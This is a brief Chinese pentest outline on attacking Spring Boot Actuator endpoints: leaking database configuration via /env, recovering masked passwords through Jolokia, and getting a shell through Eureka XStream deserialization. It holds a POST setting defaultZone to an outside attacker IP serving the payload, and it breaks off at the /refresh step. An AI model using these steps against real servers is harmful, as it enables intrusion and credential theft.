➢ Spring介绍
Spring 是java web里非常常见的组件了, 自然也是研究的热门, 好用的漏洞主要是Spring Boot Actuators 反序列化
➢ Actuators介绍
Spring Boot 基本上是 Spring 框架的扩展。Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息。
➢端点信息
➢框架特征
小绿叶、404报错
➢框架识别
https://github.com/rabbitmask/SB-Actuator
➢获取敏感信息
由于 actuator 会监控站点 mysql、mangodb 之类的数据库服务,所以通过监控信息
有时可以拿下 mysql、mangodb 数据库;这个主要通过/env 路径获取这些服务的配置信息
➢获取被星号脱敏的密码的明文
条件:
目标网站存在 /jolokia接口
目标使用了 jolokia-core 依赖
目标使用了 spring-cloud 依赖
步骤一: 找到想要获取的属性名
步骤二: jolokia 调用 org.springframework.cloud.context.environment Mbean 获取明文
➢获取被星号脱敏的密码的明文
➢ GetShell
利用反序列化进行getshell(通过修改env配置文件进行xstream反序列化)
前置条件:Eureka-Client <1.8.7(多见于Spring Cloud Netflix)
spring-boot-starter-actuator(/refresh刷新配置需要)
spring-cloud-starter-netflix-eureka-client(功能依赖)
➢ GetShell
使用python3起一个服务,该服务为启动的xstream
➢ GetShell
访问/env,修改为post:eureka.client.serviceUrl.defaultZone=http://139.9.198.30:6666/xstream
➢ GetShell
访问/refresh,修改为post: